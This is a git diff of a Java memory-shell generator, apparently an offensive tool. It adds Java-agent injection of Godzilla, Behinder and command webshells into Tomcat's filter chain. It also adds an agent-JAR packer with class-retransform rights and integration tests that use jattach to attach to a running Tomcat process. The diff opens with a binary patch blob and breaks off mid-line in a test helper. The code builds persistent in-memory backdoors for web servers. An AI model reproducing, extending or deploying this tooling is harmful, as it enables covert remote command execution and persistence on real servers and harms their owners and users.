z;q_lMzS10B88d2YYi}zrpBw4ufLX?7l^gto!5GFcJ0Qqr2nK8}-rC;0QsNEs0hLUK z5W^_o7$mb;hQy^K&4gz&22C4oZ*Wy}cxA{4Mnf&Y5g5h<$H1E4Dk>B*;#4{mx2e$r zR{@1FY(*Io)KCY^B)hg)haIojez5Lpmiy~Q4`0Mj4v-9Tk7KZk_r?i=lD4^ zCkGz6v|_D98^y|GnO2Sy5?vdsjngJ-le8-BbJ`5;TFr-a*s5*NzODUCdq&G?RgNW& z?>cf0pYvzV8AZ9GZ@HEfhe~pzs>*&={>+%1?i;&g`~wqnlcH;z&rxb&P=~fr`;m5@ zW3+R;^S?Roc3xUEy=b!IUF|E{oT6#Yoc42Vv7^zs#M$D!-+9EDb6&5-oC}Huw0Vw@ zn1B+#JX>EjYfdJ-}Nh! zJUAkc@m3~Jxc0f;aGi8bD4te4uXuTJxOhwPF~|Qbe!BQT@jJz%OYU=AR#IOQC}{@V z4>=xpJnQ(KBU$p}l1KC4-&^u>Nw(x<$x|Y(s^7mC{UHBrhuQZ95hJ9=qBaKpC|D;% z>u+xlt!!>LR;-5%W1+7lLg8RY^F}(F+rnma?FL1?YP^8$LZ9Gn^NRM6hSXp*8}ayh zZBZ!N(H4sdD+IIK5P23dhN==&I$k>3;s^nxF=7eOy%k<-K<+IFH^Df>pZ{WwMcO=x z5n2ahi)lACwurp%8Lf zG!lzVHH%}^2(Ko6bIa67m_(|DX4ab5Zl!_-IRi6G01}u9OyhKc(HUYe8U|gwt%K@C z67i9dTN4Z}nhzc;<9JJCZ8-mu2*bwV3(`HFmKHK*tPdL`(B?!Vs~OZf+klvV+Cr;y z?f$UZK#w3KNiuDY$eMJgfRY+2F?6{9ED)P0Fx-j$7#K19x+JtNZURC9y>VSAD18U+ zS;gDXq*oIi;FadF9@H3Y_IM<`Qd_*fV@0IBEvSGD3y*Xv{0KL9SZE=UmVh5H`t^p4 zM5jdYhYrb3OFese$S@0^jstrNhMoEcegGZrf9wUd#7A%NK zQUPCK33>c$0YwyS*D5JL5)3Ay+G1uTA&bU>ku?yHbm5{X;EyC?27Me7Vi`eM!DeU` zkwu%A2nU6lRr0%|lo0&+0;V(i9!*BWIt<4?6Lq^86Y4cnk6(g{~lqcembz2aM zuZ=`k=gHrGFC_nS@fW0cNms~Dnpc?ZqN7(NT3bN}la~&6xYc4Nn9a^J?^a{i{)EuB)g)TmoJwQk*%x^+g~I*k!s^DmgEE$}SR!p&i= zR+~Bn5w>nA->O9ftf6|F`*XRv-{x{t4w`p)xBn#kul?&f@X@&aR^ERu54-$Vf0xVs z+rV(ycDRHUra%31E_VZe8~8iKpZ#sMRsPLZJ0x7nzn^^5WWU0HBgZx_g2UCPX0u7%(8 ziPVF#kFkQV3)5V3(aOwVu7%&NXx43P!Rz_*tS)6{FjxLxOz6cI%k|v95#JT?&K)lw zsy0(tZx_j3UCPX0u7%(8iPVEQ#I=7)pjMYMGnlLS;L)_MWkh2|pqIZcd2gy-9bO7mE|0g%lU=Ce>o;hQb(M}!jTu$CmB)iwz=J9zUF-7T*tz=|KG*U06XI81mCMNjgw$h;z+_WVlf<7d zKn#{w7-V6>an5LIcRy*qPnzefG->BzY4^N*yZsgWOP$~QNXw-U#sT|=t0_-rSAVJ9 z50(@aIX}L=QvVk6d)S@JeVDHc_1{wDm%7Za*k9yqr~U=d7uY{QnmcB(!wRPJ7wcfc zK2Y)S+@h-(%$KVh8R+|0jLAzoBUUpTRT1Zy&I_qna^KU`C(b=lnCca?DW_ zmi+u5!I8$%Amhj3GdX|q`vd}?K;RPyd;)<_An*wU{y%^~<@g3w%l+fb`<`--dViq8 zyfKj)i!tsPLeR}PT+PbNqPpH=!HCDh!BF!YybTiWQZ_FUcOcj-2O{n*PC(dXNgzKaxqD?+LaM< z;8NS!&V!l73Up#(&!H6Ksww|h7nwFlU*wmMDjUrFD$SdS>4m?u`%Ux#h3PA;^p#fn z)#75l;AaKrLu77WnEv)(H>hv7|Jsc5m&(7?N}s2v{bqV?znQ*eoO!pehW%jOCv%tb z?ewc&YfxWSy{2y3!)H~X)C|sFMaL&98#~&bT!Z?y=N)yEy_h3@_Pc%m0$)WNW2fJ5 zrQiQork_t*slT1R-%8(ar8oFi__NEk!(^^kn10AgKlB&Mx6|KzR(g~h=BH!k4Tac< zpIyFvU%}VH@@;-?*y-(#v2rm+c$d8F_BS}q^6TF-BkmbHGJ!GjRg;BsDZlQl ga6A2?v%)2={0i@O+2$AX+GCZ!rZBJ|ogMtY0b3uBI{*Lx literal 0 HcmV?d00001 diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index a0fa3cd0..aa45b2d8 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -7,9 +7,12 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.packer.JarPacker; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; +import java.util.Base64; + /** * @author ReaJason * @since 2024/12/18 @@ -24,7 +27,12 @@ public class GeneratorController { ShellToolConfig shellToolConfig = request.parseShellToolConfig(); InjectorConfig injectorConfig = request.getInjectorConfig(); GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); - String packResult = request.getPacker().getPacker().pack(generateResult); + String packResult = null; + if (request.getPacker().getPacker() instanceof JarPacker) { + packResult = Base64.getEncoder().encodeToString(request.getPacker().getPacker().packBytes(generateResult)); + } else { + packResult = request.getPacker().getPacker().pack(generateResult); + } return ResponseEntity.ok(new GenerateResponse(generateResult, packResult)); } -} +} \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle index bf37eb5d..0d4ad59d 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -47,7 +47,7 @@ dependencies { implementation 'javax.servlet:javax.servlet-api:3.0.1' implementation 'javax.websocket:javax.websocket-api:1.1' implementation 'org.java-websocket:Java-WebSocket:1.5.7' - implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0' + implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0' implementation 'xalan:xalan:2.7.0' implementation 'org.apache.bcel:bcel:5.2' diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java index 9f29b6b5..98be07a0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java @@ -1,10 +1,7 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.generator.BehinderGenerator; -import com.reajason.javaweb.memshell.generator.CommandGenerator; -import com.reajason.javaweb.memshell.generator.GodzillaGenerator; -import com.reajason.javaweb.memshell.generator.InjectorGenerator; +import com.reajason.javaweb.memshell.generator.*; import org.apache.commons.lang3.tuple.Pair; import java.util.Collections; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java index 419767f3..ee3692cb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java @@ -10,9 +10,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; +import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor; import com.reajason.javaweb.memshell.tomcat.injector.*; import org.apache.commons.lang3.tuple.Pair; @@ -28,19 +31,23 @@ public class TomcatShell extends AbstractShell { public static final String WEBSOCKET = "WebSocket"; public static final String UPGRADE = "Upgrade"; public static final String EXECUTOR = "Executor"; + public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; + public static final String AGENT_JAKARTA_FILTER_CHAIN = AGENT + "JakartaFilterChain"; @Override protected Map, Class>> getCommandShellMap() { - return Map.of( - SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class), - JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class), - FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class), - JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class), - LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), - JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), - VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class), - JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class), - WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class) + return Map.ofEntries( + Map.entry(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)), + Map.entry(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)), + Map.entry(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)), + Map.entry(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)), + Map.entry(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)), + Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)), + Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)), + Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)), + Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)), + Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)), + Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)) ); } @@ -54,7 +61,9 @@ public class TomcatShell extends AbstractShell { LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class), JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class), VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class), - JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class) + JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class), + AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class) ); } @@ -68,7 +77,9 @@ public class TomcatShell extends AbstractShell { LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class), JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class), VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class), - JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class) + JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class), + AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class) ); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java index 48aeefc2..acb60e76 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java @@ -18,4 +18,6 @@ public class Constants { public static final String VALVE = "Valve"; public static final String JAKARTA_VALVE = "JakartaValve"; + + public static final String AGENT = "Agent"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java new file mode 100644 index 00000000..c984a90e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java @@ -0,0 +1,42 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FixedValue; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class AgentGenerator { + + private final ShellConfig config; + private final InjectorConfig injectorConfig; + + public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) { + this.config = config; + this.injectorConfig = injectorConfig; + } + + public byte[] getBytes() { + DynamicType.Builder builder = new ByteBuddy() + .redefine(injectorConfig.getInjectorClass()) + .name(injectorConfig.getInjectorClassName()) + .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) + .method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); + + if (config.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + + try (DynamicType.Unloaded make = builder.make()) { + return make.getBytes(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java index 6d0aa2a7..5b50af87 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java @@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.implementation.FieldAccessor; -import net.bytebuddy.implementation.SuperMethodCall; -import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; +import static net.bytebuddy.matcher.ElementMatchers.named; + /** * @author ReaJason * @since 2024/12/21 @@ -28,7 +27,7 @@ public class BehinderGenerator { public DynamicType.Builder getBuilder() { if (behinderConfig.getShellClass() == null) { - throw new IllegalArgumentException("godzillaConfig.getClazz() == null"); + throw new IllegalArgumentException("behinderConfig.getClazz() == null"); } if (StringUtils.isBlank(behinderConfig.getPass())) { throw new IllegalArgumentException("behinderConfig.getPass().isBlank()"); @@ -39,11 +38,9 @@ public class BehinderGenerator { .redefine(behinderConfig.getShellClass()) .name(behinderConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) - .constructor(ElementMatchers.any()) - .intercept(SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("pass").setsValue(md5Key)) - .andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName())) - .andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue()))); + .field(named("pass")).value(md5Key) + .field(named("headerName")).value(behinderConfig.getHeaderName()) + .field(named("headerValue")).value(behinderConfig.getHeaderValue()); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java index 5fe760da..95bb64df 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java @@ -7,10 +7,8 @@ import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.implementation.FieldAccessor; -import net.bytebuddy.implementation.Implementation; -import net.bytebuddy.implementation.SuperMethodCall; -import net.bytebuddy.matcher.ElementMatchers; + +import static net.bytebuddy.matcher.ElementMatchers.named; /** * @author ReaJason @@ -22,13 +20,12 @@ public class CommandGenerator { if (shellConfig.getShellClass() == null) { throw new IllegalArgumentException("shellConfig.getClazz() == null"); } - Implementation.Composable fieldSets = SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName())); + DynamicType.Builder builder = new ByteBuddy() .redefine(shellConfig.getShellClass()) .name(shellConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) - .constructor(ElementMatchers.any()).intercept(fieldSets); + .field(named("paramName")).value(shellConfig.getParamName()); if (config.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java index 701d9406..30e5bb14 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java @@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.implementation.FieldAccessor; -import net.bytebuddy.implementation.SuperMethodCall; -import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; +import static net.bytebuddy.matcher.ElementMatchers.named; + /** * @author ReaJason * @since 2024/11/23 @@ -40,13 +39,11 @@ public class GodzillaGenerator { .redefine(godzillaConfig.getShellClass()) .name(godzillaConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) - .constructor(ElementMatchers.any()) - .intercept(SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass())) - .andThen(FieldAccessor.ofField("key").setsValue(md5Key)) - .andThen(FieldAccessor.ofField("md5").setsValue(md5)) - .andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName())) - .andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue()))); + .field(named("pass")).value(godzillaConfig.getPass()) + .field(named("key")).value(md5Key) + .field(named("md5")).value(md5) + .field(named("headerName")).value(godzillaConfig.getHeaderName()) + .field(named("headerValue")).value(godzillaConfig.getHeaderValue()); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java new file mode 100644 index 00000000..ebc120ee --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java @@ -0,0 +1,83 @@ +package com.reajason.javaweb.memshell.packer; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.IOUtils; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.net.URL; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Enumeration; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * @author ReaJason + * @since 2025/1/1 + */ +public class AgentJarPacker implements JarPacker { + + @Override + @SneakyThrows + public byte[] packBytes(GenerateResult generateResult) { + Path jarPath = Files.createTempFile("temp", ".jar"); + String mainClass = generateResult.getInjectorClassName(); + String advisorClass = generateResult.getShellClassName(); + + Manifest manifest = new Manifest(); + manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); + manifest.getMainAttributes().putValue("Agent-Class", mainClass); + manifest.getMainAttributes().putValue("Premain-Class", mainClass); + manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true"); + manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true"); + + try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) { + addDependency(targetJar, ByteBuddy.class); + + if (generateResult.getShellConfig().isJakarta()) { + addDependency(targetJar, jakarta.servlet.Servlet.class); + } else { + addDependency(targetJar, javax.servlet.Servlet.class); + } + + targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class")); + targetJar.write(generateResult.getInjectorBytes()); + targetJar.closeEntry(); + + targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class")); + targetJar.write(generateResult.getShellBytes()); + targetJar.closeEntry(); + } + byte[] byteArray = IOUtils.toByteArray(new FileInputStream(jarPath.toFile())); + FileUtils.deleteQuietly(jarPath.toFile()); + return byteArray; + } + + @SneakyThrows + public static void addDependency(JarOutputStream targetJar, Class baseClass) { + String packageToMove = baseClass.getPackage().getName().replace('.', '/'); + URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation(); + JarFile sourceJar = new JarFile(new File(sourceUrl.toURI())); + Enumeration entries = sourceJar.entries(); + while (entries.hasMoreElements()) { + JarEntry entry = entries.nextElement(); + String entryName = entry.getName(); + if (entryName.startsWith(packageToMove)) { + InputStream entryStream = sourceJar.getInputStream(entry); + targetJar.putNextEntry(new JarEntry(entryName)); + IOUtils.copy(entryStream, targetJar); + targetJar.closeEntry(); + entryStream.close(); + } + } + sourceJar.close(); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java new file mode 100644 index 00000000..d993363e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java @@ -0,0 +1,8 @@ +package com.reajason.javaweb.memshell.packer; + +/** + * @author ReaJason + * @since 2025/1/1 + */ +public interface JarPacker extends Packer { +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index 1eb66286..f8751b76 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -17,7 +17,13 @@ public interface Packer { * @param generateResult 生成的内存马信息 * @return 指定格式字节数组 */ - String pack(GenerateResult generateResult); + default String pack(GenerateResult generateResult) { + throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成"); + } + + default byte[] packBytes(GenerateResult generateResult) { + throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成"); + } /** * 部分打包器可能需要配置来进行额外的配置项 @@ -70,6 +76,8 @@ public interface Packer { Freemarker("Freemarker", new FreemarkerPacker()), Velocity("Velocity", new VelocityPacker()), + + AgentJar("AgentJar", new AgentJarPacker()), ; private final String desc; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java new file mode 100644 index 00000000..43d3b408 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.util.ClassUtils; +import lombok.SneakyThrows; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/1/1 + */ +class GodzillaGeneratorTest { + + @Test + @SneakyThrows + void generate() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(Constants.SERVLET) + .targetJreVersion(Opcodes.V1_6) + .debug(true) + .build(); + GodzillaConfig godzillaConfig = GodzillaConfig.builder() + .shellClass(GodzillaServlet.class) + .pass("pass") + .key("key") + .headerName("User-Agent") + .headerValue("test").build(); + DynamicType.Builder builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder(); + Class loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded(); + Object o = loaded.getDeclaredConstructor().newInstance(); + assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass")); + assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName")); + assertEquals(godzillaConfig.getHeaderValue(), ClassUtils.getFieldValue(o, "headerValue")); + } +} \ No newline at end of file diff --git a/integration-test/build.gradle b/integration-test/build.gradle index b292971c..0fa27309 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -17,6 +17,10 @@ dependencies { testImplementation project(":behinder") testImplementation project(":godzilla") testImplementation project(':generator') + testImplementation 'javax.servlet:javax.servlet-api:3.0.1' + testImplementation 'javax.websocket:javax.websocket-api:1.1' + testImplementation 'org.java-websocket:Java-WebSocket:1.5.7' + testImplementation 'jakarta.servlet:jakarta.servlet-api:6.0.0' testImplementation 'org.hamcrest:hamcrest:3.0' testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' testImplementation 'org.slf4j:slf4j-simple:2.0.16' diff --git a/integration-test/script/tomcat_pid.sh b/integration-test/script/tomcat_pid.sh new file mode 100755 index 00000000..0af57ef9 --- /dev/null +++ b/integration-test/script/tomcat_pid.sh @@ -0,0 +1,2 @@ +#!/bin/bash +ps -ef | grep Bootstrap | grep -v grep | awk '{print $2}' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 02b7e5ea..ba68ea0c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -22,6 +22,9 @@ public class ContainerTool { public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath(); public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath(); + public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux")); + public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh")); + public static String getUrl(GenericContainer container) { String host = container.getHost(); int port = container.getMappedPort(8080); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 128b0ec3..be09d8bc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -4,8 +4,19 @@ import com.reajason.javaweb.GeneratorMain; import com.reajason.javaweb.memshell.SpringMVCShell; import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.memshell.packer.JarPacker; import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.shaded.org.apache.commons.io.FileUtils; +import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author ReaJason @@ -13,17 +24,58 @@ import lombok.extern.slf4j.Slf4j; */ @Slf4j public class ShellAssertionTool { + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); + } + + @SneakyThrows + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer, GenericContainer container) { String shellUrl = url + "/test"; - InjectorConfig injectorConfig = new InjectorConfig(); + String urlPattern = null; if (shellType.endsWith(Constants.SERVLET) || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER) || shellType.equals(SpringWebFluxShell.HANDLER_METHOD) || shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION) ) { - String urlPattern = "/" + shellTool + shellType + packer.name(); + urlPattern = "/" + shellTool + shellType + packer.name(); shellUrl = url + urlPattern; + } + + GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer); + + String content = null; + if (packer.getPacker() instanceof JarPacker) { + byte[] bytes = packer.getPacker().packBytes(generateResult); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = 